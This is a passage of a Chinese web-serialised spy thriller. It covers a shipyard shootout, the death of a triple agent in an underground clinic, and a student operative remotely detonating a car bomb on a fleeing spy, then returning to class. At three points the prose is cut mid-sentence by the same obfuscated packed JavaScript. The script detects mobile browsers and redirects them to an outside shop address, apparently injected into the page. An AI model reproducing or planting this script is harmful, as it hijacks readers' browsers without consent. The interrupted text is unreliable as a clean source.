“不是三个。”叶馨蒙说,“军方已经包围了这里。红色信号弹一发,他们就强攻。你们逃不掉。” 她其实在虚张声势——信号弹还没发,军方可能还在集结。但她必须争取时间。 真雪鸮突然动了——不是掏枪,而是按下了手中的某个遥控器。 厂房里所有的灯同时熄灭,陷入绝对黑暗。 叶馨蒙早有准备,瞬间戴上夜视镜。绿色视野里,她看到战鹰扑向工作台后,真雪鸮冲向侧门,而黄安妮—— 黄安妮在二楼上,夜视镜里她的热成像身影清晰可见。她没有移动,而是把枪口对准了真雪鸮逃跑的方向。 砰!砰! 两声枪响,子弹打在真雪鸮脚边的地面上,逼停了她。 “我说了,”黄安妮的声音在黑暗中响起,“谁都别动。” 真雪鸮转身,举枪向二楼射击。子弹打在混凝土柱子上,溅起火花。 战鹰也从掩体后还击,子弹向上飞射。 枪战爆发了。 叶馨蒙躲到一根钢柱后,子弹在她周围呼啸。她深呼吸,从掩体边缘探头,瞄准——不是要杀人,是要制造压制。 她朝战鹰的方向开了两枪,逼他缩回去。然后转向真雪鸮,但真雪鸮已经不在原来的位置了。 夜视镜里,真雪鸮的热成像身影正在快速移动,像一道幽灵,利用厂房的机器和设备作掩护,朝二楼楼梯口接近。 她要上去解决黄安妮。 叶馨蒙立刻朝那个方向移动,但战鹰发现了她,子弹追着她的脚步打在地面上,溅起一串火花和水泥碎屑。 “小老鼠,别跑!”战鹰的声音带着疯狂的笑意。 叶馨蒙扑到一个油桶后,子弹打在油桶上,发出“当当”的闷响。她检查手枪——还剩八发子弹。 不够。 她看向二楼。黄安妮正在和真雪鸮交火,□□的连发声和手枪的单发声交替响起。黄安妮明显处于劣势,她移动不便,只能固守位置。 而真雪鸮正在迂回接近。 叶馨蒙必须做点什么。 她从油桶后冲出来,不是逃跑,而是冲向战鹰的方向——他在一个大型机床后面,那个位置看不到二楼。 “我在这!”她大喊,朝机床开枪,吸引战鹰的注意力。 果然,战鹰的子弹向她倾泻。她翻滚躲闪,子弹追着她的轨迹,在水泥地面上凿出一排弹孔。 她躲到另一个掩体后,喘着气。肩膀的伤口裂开了,温热的血浸透了绷带。 二楼的枪声突然停了。 叶馨蒙心里一紧,探头看去——夜视镜里,黄安妮的热成像身影倒在地上,真雪鸮站在她面前,枪口对着她。 “结束了,斑头鸺鹠。”真雪鸮的声音冰冷。 黄安妮在说什么,但太轻,听不清。 然后叶馨蒙看到了黄安妮的手——她在身后摸索着什么。 一个手雷。 叶馨蒙瞬间明白黄安妮要做什么。她想和真雪鸮同归于尽。 “不!”叶馨蒙喊出声,从掩体后冲出来,朝二楼开枪。 但太远了,手枪精度不够。子弹打在真雪鸮身边的栏杆上,溅起火星。 真雪鸮转头看向她,笑了,然后枪口转向黄安妮—— 砰! 枪声。 但倒下的不是黄安妮。 是战鹰。 他从叶馨蒙侧后方的一个高台上摔下来,重重砸在地面上,手里的狙击步枪滑出去老远。他的胸口有一个弹孔,血正汩汩涌出。 开枪的是黄安妮。她在最后一刻调转枪口,击中了准备狙杀叶馨蒙的战鹰。 真雪鸮愣了一秒。 这一秒,对叶馨蒙来说足够了。 她冲上楼梯,两步并作一步,手枪对准真雪鸮:“放下枪!” 真雪鸮转身,但黄安妮的手抓住了她的脚踝。重伤的黄安妮用尽最后力气,把她绊了一下。 真雪鸮失去平衡,枪脱手飞出。 叶馨蒙冲到她面前,枪口抵住她的额头:“别动。” 真雪鸮抬头看她,眼神里没有恐惧,只有某种奇异的欣赏:“你比我想象的要好,小朋友。” 楼下,战鹰在咳血,但还没死。他在地上挣扎,试图去够不远处的狙击步枪。 黄安妮躺在地上,呼吸微弱。腹部的绷带已经完全被血浸透。 “硬盘……”她低声说,“在战鹰身上……密码……真雪鸮知道……” 叶馨蒙一只手用枪指着真雪鸮,另一只手去摸战鹰的口袋。果然,一个加密硬盘。 真雪鸮笑了:“没有密码,那就是块废铁。” “密码是多少?”叶馨蒙问。 “你会放我走吗?” “不会。” “那我为什么要告诉你?” 就在这时,厂房外传来爆炸声——不是枪声,是爆破。军方的强攻开始了。 红色信号弹的光透过破败的屋顶,把厂房内部染上一层血色。 “他们来了。”真雪鸮说,“你打算怎么处理我?交给军方?我会告诉他们一切——关于你,关于你的组织,关于你是怎么伪装成我的。” 她在威胁,但叶馨蒙不为所动:“说完了吗?” “还没。”真雪鸮突然动了——不是攻击,而是向后一仰,从二楼栏杆翻了下去。 叶馨蒙下意识开枪,但只打中了她的肩膀。真雪鸮摔在一楼的一堆帆布上,缓冲了冲击,然后爬起来,冲向一个隐蔽的小门——那是叶馨蒙从未注意过的出口。 叶馨蒙想追,但黄安妮的呻吟声让她停下。 她跪到黄安妮身边。黄安妮的脸色白得像纸,呼吸越来越弱。 “硬盘……”黄安妮重复,“密码……是……莎莎的生日……0807……” 她抓住叶馨蒙的手,力气大得不像垂死之人:“告诉她……我这次……拉对人了……” 她的手松开了。 叶馨蒙探她的颈动脉——还有微弱的跳动,但随时可能停止。 楼下传来军方的喊声和脚步声。强攻部队进来了。 叶馨蒙迅速把硬盘塞进自己口袋,然后从黄安妮身上取下□□——还有半个弹匣。 她最后看了一眼黄安妮,然后转身冲向真雪鸮逃跑的小门。 门后是一条狭窄的通道,通往造船厂的地下管道系统。真雪鸮的血迹在地上拖出一道痕迹,指向黑暗深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937070|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处。 叶馨蒙打开枪上的战术手电,光束切开黑暗。她追了进去。 通道里回荡着军方的喊声和爆炸声,但越来越远。这里是另一个世界——潮湿、阴暗、充满铁锈和霉菌的气味。 血迹在一扇铁门前消失了。门虚掩着,里面传出微弱的水声。 叶馨蒙贴在门边,深吸一口气,然后踹开门,枪口指向前方。 里面是一个小型地下码头,停着一艘摩托艇。真雪鸮正在解开缆绳,肩膀上的枪伤让她动作迟缓。 听到动静,她转身,手里多了一把匕首——枪可能掉在路上了。 “阴魂不散啊,小朋友。”她说,声音因为疼痛而沙哑。 “结束了。”叶馨蒙说,枪口对准她。 “是吗?”真雪鸮笑了,“那你开枪啊。杀了我。像杀战鹰那样。” “战鹰不是我杀的。” “但你想杀,对吧?”真雪鸮慢慢站起来,“你手里有枪,我有刀。优势在你。扣动扳机,一切就结束了。” 她在激叶馨蒙开枪。但叶馨蒙的手指扣在扳机上,却无法用力。 杀人。她可以开枪打伤对方,可以开枪威慑,但真要瞄准一个人,扣下扳机,结束一条生命…… “下不了手?”真雪鸮看出来了,笑容加深,“那就让我教你怎么做。” 她突然冲过来,匕首刺向叶馨蒙。 叶馨蒙本能地扣动扳机。 砰! 枪声在地下空间里震耳欲聋。 真雪鸮的身体顿住了。匕首掉在地上,发出清脆的响声。她低头看着自己胸口——子弹没有打中心脏,但打穿了肺。 她踉跄后退,靠在摩托艇上,慢慢滑坐在地。 叶馨蒙的手在颤抖。枪口还在冒烟。 真雪鸮咳出血,但还在笑:“好枪法……差点就死了……” “为什么?”叶馨蒙问,声音也在抖,“为什么非要这样?” “因为……”真雪鸮又咳了几声,“因为这就是我们这种人……的结局……要么杀人……要么被杀……” 她的呼吸越来越困难,但还是努力说着:“硬盘密码……0807……但还有一层……指纹加密……需要……我的指纹……” 她抬起没受伤的手:“过来……我告诉你……怎么……” 叶馨蒙警惕地靠近,但保持距离。 真雪鸮的手突然抓住了她的手腕,力气大得惊人。她把叶馨蒙的手按在自己胸口——伤口的位置。 温热的血浸透了叶馨蒙的手套。 “记住这个感觉……”真雪鸮低声说,“记住……杀人的感觉……它会跟着你……一辈子……” 然后她的手松开了,头歪向一侧,眼睛还睁着,但失去了神采。 叶馨蒙站在那里,手上沾满血,枪还在手里,脑子一片空白。 通道另一端传来脚步声和喊声:“这边!有枪声!” 军方的人追来了。 叶馨蒙看着真雪鸮的尸体,又看看自己手上的血。然后她迅速在真雪鸮身上搜索——找到了几个假护照、一些现金、还有一个微型存储卡。 她把这些都塞进口袋,然后跳上摩托艇,解开最后的缆绳,启动引擎。 摩托艇冲出地下码头,驶入通往大海的管道。 身后,军方士兵冲进码头,只看到真雪鸮的尸体和远去的摩托艇尾灯。 “目标二确认死亡!目标三从水路逃脱!请求海上拦截!” 但叶馨蒙已经驶入开阔海面。凌晨的海黑暗而寒冷,摩托艇的引擎声在空旷中显得格外孤独。 她关掉引擎,让艇随波漂流。然后她摘下手套,看着手上的血——真雪鸮的血。 血在海水冲洗下慢慢变淡,但那种温热粘稠的感觉还在。 她杀人了。 不,真雪鸮是自杀。她冲向枪口,故意让叶馨蒙开枪。 但扣动扳机的是叶馨蒙。 她低头看着手里的枪,突然觉得它重得拿不动。 远处,港口方向灯光通明,军方还在清理现场。而她已经漂在海上,手上沾着血,口袋里装着硬盘和密码。 任务完成了吗?战鹰死了,真雪鸮死了,硬盘拿到了。 但黄安妮生死未卜。 而她,一个十九岁的高中生,刚刚杀了人。 她可能是世界上唯一一个在化学测验前一天晚上枪杀国际特工的高中生。 摩托艇随着海浪轻轻摇晃。东方,天空开始泛白,黎明要来了。 叶馨蒙把手枪扔进海里——不是销毁证据,只是不想再碰它。 然后她启动引擎,调转方向,不是回港口,而是沿着海岸线,朝城西的方向驶去。 她要去诊所,看看黄安妮是否还活着。 至于其他事——军方的质询、任务报告、硬盘交接——留到天亮再说。 现在,她只想确认,那个为了掩护她而中弹的三重间谍,是否活了下来。 是否真的,拉对了人。 摩托艇划破海面,在渐亮的天色中留下一道白色的尾迹。 而岸上,收网行动接近尾声。 鹰巢覆灭了,但代价沉重。 叶馨蒙看着越来越近的海岸线,心里只有一个念头: 希望黄安妮还活着。 希望这一切,至少有一部分,是值得的。 53. 黎明前的牺牲 黑市诊所的手术室看起来像二手汽车修理厂——墙壁斑驳,照明是晃眼的白炽灯,手术器械在金属盘里叮当作响,唯一干净的是医生刚数完的八千块钱。 叶馨蒙冲进来时,医生正用镊子夹着香烟,在血迹斑斑的白大褂上擦手。他抬头看了一眼浑身湿透、手上沾血的叶馨蒙,又低头继续数钱。 “她呢?”叶馨蒙的声音沙哑。 “里间。”医生用镊子指了指帘子,“失血过多,脏器损伤,我能做的都做了。现在看她自己能不能挺过——” 叶馨蒙已经掀开帘子冲了进去。 里间比外面更简陋:一张行军床,一个输液架,一盏摇摇欲坠的吊灯。黄安妮躺在床上,脸色苍白如病房墙壁,腹部的绷带被血浸透又干涸,呈现出诡异的褐红色。 她还活着——胸口有微弱的起伏,但每次呼吸都带着湿漉漉的杂音,那是肺里积血的声音。 “黄安妮。”叶馨蒙跪在床边,握住她的手——那只手冰冷得像刚从冰箱里拿出来。 黄安妮的眼皮动了动,慢慢睁开。她的眼神涣散了几秒,然后聚焦在叶馨蒙脸上。 “你……回来了……”她的声音轻得像叹息,“真雪鸮……” “死了。”叶馨蒙说。黄安妮扯出一个几乎看不见的笑容:“那……战鹰呢?” “也死了。” “都死了……”黄安妮喃喃,“就剩我了……还挺孤单……” “你不会死。”叶馨蒙握紧她的手,“军方医疗队马上就到,他们有更好的设备——” “别浪费……医疗资源了……”黄安妮打断她,又咳起来,嘴角渗出血丝,“我自己……就是护士……我知道……我的状态……” 她努力抬起另一只手,指向墙角的一个背包——那是她的包,之前丢在诊所的。 “包里……有我所有的……身份文件……五个国家的……护照……三张社保卡……还有……遗嘱……” 叶馨蒙起身拿过背包,沉甸甸的。 “遗嘱?”她问。 “上个月……写的……”黄安妮闭上眼睛,似乎在积攒力气,“写着……如果我死了……把所有钱……捐给……莎莎一直想去的……那个美术学校……” 她停顿了很久,久到叶馨蒙以为她不行了,但她又睁开眼睛: “但她死了……所以钱……也没用了……你拿去吧……做点什么……好的事……” “我不能——” “闭嘴……听我说……”黄安妮的手指微微用力,“时间……不多了……” 她深吸一口气——那呼吸声像是破风箱在拉: “我当兵……那年……十八岁……和你现在……一样大……我以为……世界很简单……好人打坏人……军人保护人民……” “后来我发现……好人也会开枪……军人也会……杀错人……世界……像一锅……馊掉的汤……” 叶馨蒙不知道该说什么,只能紧紧握着她的手。 “莎莎死的那天……”黄安妮的声音越来越轻,“她问我……安妮姐……你在为谁工作……我说……为钱……她说……那能不能……也做点……不为了钱的事……” “我没回答……我掐死了她……” 泪水从黄安妮眼角滑落,混进鬓角的血污里。 “三年了……每天晚上……她来找我……聊天……问我今天……做了什么……有没有……做一件……不为了钱的事……” “我总是说……没有……明天吧……明天……一定……” 她又咳起来,这次咳出的血更多。叶馨蒙用袖子帮她擦,但袖子早就湿透脏污。 “今天……”黄安妮喘息着说,“今天……我做了……我掩护了你……不是……为了钱……不是……为了命令……不是……为了……任何老板……” “我做了……一件……不为了钱的事……” 她的眼睛突然亮了一下,像是回光返照: “莎莎……应该……会开心吧……” 然后那光亮黯淡下去。 “叶馨蒙……”她叫她的名字,第一次用真名,“你答应我……一件事……” “你说。” “如果你……以后……也要杀人……或者……做坏事……至少……也做一件……不为了钱……不为了命令……不为了……任何理由……” “只因为……那是……对的事……” 叶馨蒙的眼泪终于掉下来,滴在两人交握的手上:“我答应你。” “好……”黄安妮笑了,真正的笑,虽然虚弱,但真实,“那我……可以……休息了……” 她的呼吸变得更浅、更慢。 “告诉莎莎……”她最后说,“这次……我选对了……” “安妮姐很累……想睡一会儿……” “晚安……” 她的手松开了。 叶馨蒙坐在那里,握着那只逐渐失去温度的手,听着外面医生数完钱、打开电视看早间新闻的声音。 新闻正在播报:“昨夜军方成功摧毁恐怖组织‘鹰巢’旗下分组,击毙头目战鹰……行动中有一名平民受伤送医……目前情况稳定……” 黄安妮——三重间谍,前军人,杀了表妹又救了人的复杂女人——在新闻里变成了“一名平民”。 也许这样更好。至少她不用再被追捕,不用再被审讯,不用再为三个老板打工。 她可以休息了。 叶馨蒙坐了很久,直到外面传来军车的声音和医生的惊呼:“哎呦我去!这么多兵!我没犯法啊!我就是个医生!” 她擦干眼泪,从黄安妮的背包里找出那几本护照。每本护照上的照片都是黄安妮,但名字不同,年龄不同,国籍不同。 她抽出那本爪哇护照——上面写着“拉特娜·维贾亚”,照片里的黄安妮看起来年轻几岁,笑容灿烂,像任何一个普通的爪哇女孩。 叶馨蒙把其他护照放回去,只留下这一本。她打开护照,看到夹层里有一张照片:黄安妮和一个女孩的合影,在海边,两人都穿着泳衣,对着镜头做鬼脸。 照片背面写着:“和莎莎,巴厘岛,2018。安妮姐答应过要带你看世界。” 她盯着照片看了很久,然后把它小心地放进自己口袋。 帘子被掀开,一个高级军医探头进来:“特别顾问?你在这里——哦。” 他看到床上的黄安妮,表情严肃起来,快步上前检查。几秒后,他摇了摇头。 “死亡时间大约十分钟前。”他看向叶馨蒙,“你认识她?” “她帮了我们。”叶馨蒙说,“没有她,任务可能失败。” 高级军医点点头,在记录板上写下什么:“我们会按阵亡军人待遇处理。她有家人吗?” “有一个表妹。”叶馨蒙说,“但三年前去世了。” 医疗官沉默了一下:“那我们就按程序处理。你先出去吧,我们需要清理现场。” 叶馨蒙起身,最后看了一眼黄安妮。医生已经拿白布盖住了她的脸,但那几本护照还在床边,像是在提醒:这个人曾经有过多少重人生。 她走出里间,外面的医生已经被军方控制,正在紧张地解释:“我就是个普通的黑市医生!给钱就治!不问来历!这合法吗?” “不合法。”一个士兵说,“但如果你配合,我们可以考虑从轻处理。” 叶馨蒙没停留,径直走出诊所。外面天已经亮了,晨光照在脏乱的街道上,给一切都镀上一层虚假的温柔。 一辆军车旁,庞教官站在那里等她。 “任务报告。”庞教官递过一个平板电脑,“需要你签字确认。行动细节、击毙目标、缴获物品……” 叶馨蒙接过平板,但没看,直接问:“她会得到什么?” “黄安妮?按阵亡军人处理,有抚恤金,有葬礼。”庞教官顿了顿,“虽然严格来说,她是个叛徒、三重间谍、杀人犯。” “但她最后做了对的事。” “是的。”庞教官点头,“但这不会写进报告。报告只会说‘一名线人在行动中牺牲’。” 一个人复杂的一生,最后被压缩成报告里的一句话。 叶馨蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937071|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在平板上签了字,然后把真雪鸮的硬盘递给庞教官:“密码是0807,指纹加密,需要她的指纹——但她的尸体在造船厂。” “军方已经回收了。”庞教官接过硬盘,“我们会处理。你做得很好。” “是吗?”叶馨蒙抬头看天,“我杀了人。” “你完成了任务。” “这不一样。” 庞教官看着她,眼神复杂:“回去休息吧。今天不用上学,我给你请了病假——真的病假,你肩膀的伤口需要正规处理。” “黄安妮的葬礼是什么时候?” “三天后。但你不适合参加——你的身份还需要保密。” “我想去。” “太危险。” “我想去。”叶馨蒙重复,语气坚定。 庞教官叹了口气:“我会安排,但你要伪装。不能让人认出你。” “好。” 一辆医疗车开过来,车门打开,里面的医护兵朝她招手。 叶馨蒙正要上车,突然想起什么,转身对庞教官说:“她的遗愿是捐款给一所美术学校。莎莎想去的那个。” “莎莎?” “她表妹。”叶馨蒙说,“死了三年了。” 庞教官沉默了几秒,然后点头:“我会处理。以匿名捐赠的方式。” “谢谢。” 叶馨蒙上了医疗车。车门关上,车子驶向军方医院。 路上,她看着窗外渐亮的城市。早餐摊开始营业,上班族匆匆赶路,学生背着书包走向学校——普通人的生活,普通的一天。 而她,刚刚见证了一个人的死亡,刚刚杀了另一个人,口袋里还装着一张死者的照片。 她现在最想做的,是回学校上化学课,听老师讲分子结构,跟同学讨论考试题,假装昨晚的一切都是噩梦。 但她知道,那不是梦。 肩膀的伤口在疼,手上的血迹虽然洗掉了,但那种触感还在。 还有黄安妮最后的话:至少做一件不为了任何理由的好事。…… 医疗车在a军区医院门口停下。医护兵帮她打开车门:“特别顾问,到了。” 特别顾问。一个十九岁的特别顾问。 叶馨蒙下车,走进医院大门。消毒水的气味扑面而来,明亮的灯光刺得她眼睛疼。 她被带到一个单人间,护士帮她处理肩膀的伤口——子弹擦伤,不严重,但需要缝合。 针线穿过皮肤时,叶馨蒙没觉得疼。她脑子里还在回放造船厂的场景:枪声、烟雾、黄安妮中弹倒下的身影、真雪鸮冲向枪口的瞬间…… “好了。”护士说,剪断缝线,“休息几天就好。年轻人恢复快。” “谢谢。”叶馨蒙说。 护士离开后,她躺在床上,盯着天花板。 三天后是黄安妮的葬礼。 她会去,哪怕要伪装,哪怕有危险。 因为黄安妮最后说:这次,我选对了。 叶馨蒙想告诉她:是的,你选对了。 虽然迟了三年,虽然付出了生命,但你最后选对了。 窗外,太阳完全升起来了,新的一天正式开始。 但对于某些人来说,已经永远停在了黎明前。 叶馨蒙闭上眼睛,手伸进口袋,握住那张海边合影。 照片里的黄安妮笑得很开心,像任何一个无忧无虑的女孩。 像她本该成为的样子。 一个人最后被记住的,可能不是她做过什么坏事,而是她做过一件好事。 虽然只有一件。 但有时候,一件就够了。 叶馨蒙想着,渐渐睡着了。 梦里,她看到黄安妮和莎莎在海边奔跑,笑声随风飘散。 而她自己,站在远处看着,肩上没有伤,手上没有血。 只是一个普通的十九岁女孩,看着两个普通女孩玩耍。 醒来时,她会回到现实。 但至少梦里,有一刻宁静。 有一刻,所有人都还活着,都还快乐。 这就够了。 54. 逃亡与终结 短耳鸮的人生有座右铭:“养老金比忠诚重要,活命比养老金更重要”。所以当造船厂的枪声还没完全停歇时,他已经换上了第三套伪装,推着清洁车,吹着口哨,像个刚下夜班的可怜工人,走出了军方封锁区。 凌晨五点,他回到自己的安全屋,第一件事不是检查装备,而是打开笔记本电脑,登录养老金账户。看到余额又涨了一截(昨晚趁乱用战鹰的密码转了一笔“辛苦费”到自己的海外账户),他满意地点点头。 “够退休了。”他自言自语,开始打包。 他的逃跑计划简单而高效:化装成出租车司机,混入早高峰车流,从陆路口岸离境。选择的士司机是因为——谁会在意一个出租车司机呢?他们就像城市里的蟑螂,无处不在,无人注意。 他从衣柜深处翻出一套出租车司机制服(当然是偷的),一顶旧帽子,还有一副能改变脸型的□□。对着镜子,他花了十分钟变成一个看起来五十多岁、面容疲惫、眼角有鱼尾纹的老司机。 完美。连他自己都快认不出来了。 六点整,他开着一辆偷来的出租车(车牌已经换过),汇入清晨的车流。收音机里正播放早间新闻:“……昨晚军方的反恐行动取得重大成功,主要恐怖分子头目被击毙,数名嫌疑人被捕……” 短耳鸮笑了。重大成功?他们甚至不知道他跑了。 他打开对讲机,模仿着司机的口吻:“中心,中心,我是车牌瑆-TX429,现在在解放路上,有客吗?” 对讲机里传来调度员懒洋洋的声音:“429,去机场排队吧,早班飞机快开始了。” “收到。” 他调转方向,朝机场驶去。当然不是真的去机场——机场安检太严。他的计划是在通往边境的公路上“接个长途单”,然后一路向北,离开瑆洲。 等到了境外,他会“病逝”(当然是假的),然后用新身份开始新生活。巴厘岛的度假屋已经付清,养老金够他舒舒服服过完后半生。 完美退休计划。 他只忽略了一个细节:昨天深夜,当他在冷冻仓库外假装扫地、实则观察局势时,有个人影悄悄接近了他的清洁车。 那个人是叶馨蒙。 她刚从黄安妮的诊所出来,满手是血,脑子乱成一团。但在路过短耳鸮的清洁车时,她想起了庞教官的指令:“如果发现短耳鸮企图逃跑,阻止他。他知道太多,不能活着离开瑆洲。” 她没有枪(手枪扔海里了),没有武器,但她有从黄安妮背包里拿的一个小玩意儿——一个微型磁性炸弹,黄豆大小,威力刚好够炸毁一辆车的引擎和驾驶座。 黄安妮的遗物里为什么有这种东西?叶馨蒙没问,也许是为了自保,也许是为了别的。但此刻,它派上了用场。 她趁短耳鸮不注意,把炸弹吸附在清洁车底盘的一个隐蔽位置。炸弹是定时引爆,但也可以遥控——遥控器在叶馨蒙手里,一个火柴盒大小的装置。 当时她想:如果短耳鸮不逃跑,她就不引爆。如果他逃跑…… 现在,短耳鸮正在逃跑的路上。 叶馨蒙此刻正在军区医院的病房里,肩膀缝了八针,裹着绷带看着窗外渐亮的天空。她手里握着那个遥控器,拇指轻轻摩挲着按钮。 庞教官的信息刚发来:“短耳鸮逃脱。监控显示他伪装成出租车司机,车牌瑆-TX429,正朝北郊方向行驶。如果你有办法……” 叶馨蒙回复:“我有。” 她打开手机上的一个追踪程序——炸弹内置GPS。屏幕上,一个红点正在地图上移动,已经离开市区,驶上了通往边境的7号公路。 车速很快,显然急着离开。 叶馨蒙看着红点,想起了短耳鸮的脸。那个伪装成清洁工的特工,那个为三个老板工作、最后想独善其身的男人。 他参与了黄安妮的死亡。如果不是他和真雪鸮设局,黄安妮可能不会去造船厂,可能不会中弹。 他参与了太多阴谋,知道太多秘密。 他必须死。 但扣下按钮的是叶馨蒙。 她想起黄安妮的话:“至少做一件不为了任何理由的好事。” 那杀人呢?为了任务杀人,算不算好事? 为了阻止一个坏人逃跑,算不算? 她不知道。 拇指按在按钮上,微微用力。 屏幕上,红点继续移动,已经离开了城市范围,进入郊区公路。那里车少,人少,爆炸不会伤及无辜。 时机到了。 叶馨蒙闭上眼睛,按下按钮。 没有声音,没有震动,只有手机屏幕上跳出一行字:“信号已发送”。 她睁开眼睛,看向窗外,仿佛能看到远方的火光。 7号公路,27公里处。 短耳鸮正吹着口哨,想着巴厘岛的阳光和沙滩。他已经能看到远处的边境检查站了——当然不会从那里过,他会提前拐进一条小路,那里有他安排的接应。 还有十分钟就自由了。 他拿起保温杯,喝了口咖啡,突然觉得车子有点不对劲——引擎声音变了,像是被什么卡住了。 “该死,偷的车就是不行……”他嘀咕着,准备靠边检查。 然后他闻到了气味——不是汽油味,是某种化学品的甜腻气味。 他猛地低头,看向副驾驶座下方。那里,一个小红灯正在快速闪烁。 炸弹。 短耳鸮的大脑瞬间空白了一秒,然后所有训练本能同时激活。他猛打方向盘,想冲下公路,跳车逃生—— 太晚了。 爆炸没有电影里那么壮观——没有火球冲天,没有车辆飞起。只是一声沉闷的“轰”,出租车的前半部分向内塌陷,引擎盖炸开,挡风玻璃变成无数碎片。 驾驶座被挤压变形,短耳鸮卡在里面,□□被冲击波掀掉一半,露出下面真实的、惊恐的脸。 他还没死,但快了。他能感觉到肋骨刺进肺里,血从嘴里涌出。 他计划了完美的退休,却死在退休前一天。 他想起自己的养老金账户,那个他经营了二十年的账户,现在余额很可观,但没用了。 他想起巴厘岛的度假屋,付清了贷款,但永远不会去住了。 他想起自己当清洁工的那些日子,拖地、倒垃圾、听着那些白领抱怨工作和老板,而他心里想的是:你们至少不用同时为三个老板打工。 现在,不用了。 再也不用为任何人打工了。 短耳鸮咳出血,笑了。很轻,但确实是笑。 然后他的头歪向一侧,眼睛还睁着,看着破碎的车窗外,天空正在变亮。 黎明来了。 但他看不到了。 早上七点三十分,叶馨蒙离开军区医院回到市里。她没有回家换衣服,直接穿着病号服外套了件军大衣,拦了辆出租车,去学校。 司机从后视镜看了她好几次,欲言又止,最后忍不住问:“小姑娘,你……刚从医院出来?” “嗯。”叶馨蒙看着窗外。 “没事吧?” “没事。”她顿了顿,“只是有点累。” 车子在瑞华高中门口停下。叶馨蒙付钱下车,走进校门。门卫看到她,愣了愣:“你不是请病假了吗?” “感觉好些了,来上课。” “可你的衣服……” “时尚。”叶馨蒙简短回答,走向教学楼。 走廊里,学生们匆匆赶向教室,没人多看她一眼——除了林晓薇,她刚从食堂买了早餐,看到叶馨蒙时差点把豆浆洒了。 “馨蒙!你怎么……这打扮?” “实验事故。”叶馨蒙随口编了个理由,“化学实验,衣服毁了,借了件外套。” “天啊!你没事吧?” “没事。”叶馨蒙看了看表,“快上课了,走吧。” 第一节课是化学。叶馨蒙坐在自己的位置上,打开课本。老师走进来,看到她也愣了一下,但没多问,开始讲课。 “今天我们讲氧化还原反应……” 叶馨蒙听着,记着笔记,但脑子分成了两半:一半在听化学方程式,一半在回放昨晚的一切——枪声、血迹、黄安妮的手松开、炸弹遥控器按下时的触感。 手机在口袋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937072|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震动了一下。她偷偷拿出来看,是庞教官的信息: “目标确认清除。现场已处理成交通事故。你做得很好。现在,回归正常生活。” 正常生活。 叶馨蒙看着那四个字,突然觉得它们很陌生。 什么叫正常?上学、考试、和同学聊天、担心未来? 昨晚之前,那就是她的正常。 现在呢? 她不知道。 下课铃响了。叶馨蒙收拾东西,下一节是生物,在实验楼……她走进实验楼在走廊的自动贩卖机前停下,买了罐咖啡。机器吐出的咖啡罐冰凉,但她握着它,感受那种实在的触感。 她还活着。 黄安妮死了,短耳鸮死了,战鹰和真雪鸮死了。 但她还活着。 肩膀的伤口在疼,提醒她这不是梦。 她打开猫屎咖啡,喝了一口,很苦,但清醒。 第二节课开始了。她走进教室,坐下,翻开生物课本。 老师在讲线粒体:“细胞的能量工厂……” 叶馨蒙听着,记笔记,举手回答问题,和往常一样。 只是偶尔,她会看向窗外,看向圣保罗医院的方向,想起地下三层的秘密……想起“蛇窝”还在正常运作,新的故事也许正在酝酿。 但她暂时不用管了。 她的任务完成了——至少这个任务。 现在,她只是个学生,要准备化学竞赛,要考试,要担心成绩。 至于未来?也许还会有新任务,新伪装,新危险。 但今天,现在,此刻,她只想当个普通高中生。 哪怕只有一节课的时间。 下课铃又响了。学生们涌出教室,叶馨蒙慢慢收拾东西。 林晓薇凑过来:“馨蒙,中午一起吃饭吗?食堂新出了麻辣香锅,听说很好吃。” 叶馨蒙想了想,点头:“好。” “那说定了!我先去占座!”林晓薇跑开了。 叶馨蒙看着她的背影,笑了。很轻,但真实。 正常生活,从一顿麻辣香锅开始。 也许这就是黄安妮说的“不为了任何理由的好事”——和朋友吃顿饭,聊聊天,假装世界一切正常。 她走出教学楼,阳光很好,洒在脸上暖洋洋的。 圣保罗医学院那边,尹柏萧站在医学院楼顶,手里拿着一个加密通讯器,刚刚收到新情报:“真雪鸮的存储卡已破解……里面有更多线索,指向另一个潜伏网络。蛇窝的任务还未结束。任重道远!” 他关掉通讯器,想起叶馨蒙的身影。休息吧,孩子。他心想。至少今天。 但明天呢? 明天再说。 毕竟,在这个行业里,能活到明天就是胜利。他转身下楼,继续回办公室工作。而叶馨蒙已经走进瑞华食堂,闻到了麻辣香锅的香气,听到了朋友的呼唤。 她走过去,坐下,拿起筷子。 “看起来很好吃。”她说。 “对吧!我推荐牛肉和宽粉!”林晓薇兴奋地说。叶馨蒙夹起一块牛肉,放进嘴里。辣,香,烫。 真实的味道。 真实的生活。 至少这一刻。 